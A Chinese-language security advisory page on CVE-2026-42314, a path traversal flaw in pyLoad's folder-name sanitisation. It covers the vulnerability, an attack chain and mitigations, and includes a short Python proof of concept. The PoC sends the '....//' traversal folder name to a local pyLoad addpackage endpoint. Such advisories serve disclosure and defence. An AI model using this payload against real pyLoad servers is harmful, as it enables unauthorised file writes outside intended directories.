IPBUF安全漏洞报告
English
CVE-2026-42314 CVSS 6.5 中危

CVE-2026-42314 pyLoad路径遍历漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42314
漏洞类型
路径遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
pyLoad

相关标签

路径遍历pyLoadCWE-22输入验证不当

漏洞概述

pyLoad是一款基于Python的开源下载管理器。在0.5.0b3.dev100版本之前,该软件对包文件夹名称的清理机制存在缺陷。由于使用了不充分的字符串替换算法,特定的攻击模式(如“....//”)在处理后仍会残留“..”路径跳转符。当操作系统后续解析该路径时,攻击者可利用此漏洞绕过目录限制,导致路径遍历攻击,可能对系统完整性造成严重影响。

技术细节

该漏洞的核心原因在于pyLoad的输入过滤逻辑存在绕过风险。开发人员试图通过替换字符串来消除目录遍历字符(如“..”或“/”),但替换顺序或逻辑不当。例如,当输入包含“....//”时,程序可能将其替换为“.._”,并未真正消除“..”指向父目录的语义。在后续路径解析阶段,操作系统会识别残留的“..”,从而允许访问或创建预期目录树之外的文件。根据CVSS向量,攻击者仅需低权限即可通过网络发起攻击,无需用户交互,且可能造成高完整性影响。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务器正在使用存在漏洞的pyLoad版本(< 0.5.0b3.dev100)。
STEP 2
构造载荷
攻击者构造包含特定模式(如"....//")的文件夹名称,旨在绕过不充分的字符串替换过滤。
STEP 3
发送请求
攻击者以低权限用户身份向pyLoad接口发送包含恶意文件夹名称的下载请求。
STEP 4
路径解析与利用
服务器端对文件夹名进行部分过滤,但保留了".."语义。操作系统在解析路径时,将文件创建在预期目录之外的父目录中,导致完整性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL example, adjust to actual pyLoad installation target_url = "http://127.0.0.1:8000/api/addpackage" # The vulnerability lies in the folder name sanitization. # The pattern "....//" is insufficiently replaced, leaving ".." which acts as a parent directory traversal. malicious_folder_name = "....//malicious_payload" payload = { "name": "Exploit Test", "folder": malicious_folder_name, "links": "http://example.com/file.zip" } try: print(f"[*] Attempting to create folder with traversal payload: {malicious_folder_name}") response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Request sent successfully. Check if the file was created outside the intended directory.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

pyLoad < 0.5.0b3.dev100

防御指南

临时缓解措施
如果无法立即升级,建议通过防火墙或反向代理限制对pyLoad服务的访问,仅允许受信任的内部IP地址连接。同时,应密切监控文件系统的异常写入操作,特别是发生在下载目录之外的文件创建行为。

参考链接